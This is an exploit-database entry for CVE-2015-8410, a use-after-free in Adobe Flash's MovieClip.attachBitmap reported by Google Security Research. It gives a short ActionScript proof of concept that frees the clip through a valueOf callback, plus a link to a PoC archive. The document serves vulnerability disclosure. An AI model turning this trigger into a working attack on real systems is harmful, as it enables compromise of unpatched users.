Exploit Adobe Flash MovieClip.attachBitmap - Use-After-Free

[Exploiter]

EDB-ID

39040

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2015-8410

Дата публикации

2015-12-18

Adobe Flash MovieClip.attachBitmap - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=593

There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

        return 5;
	
	}
	


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39040.zip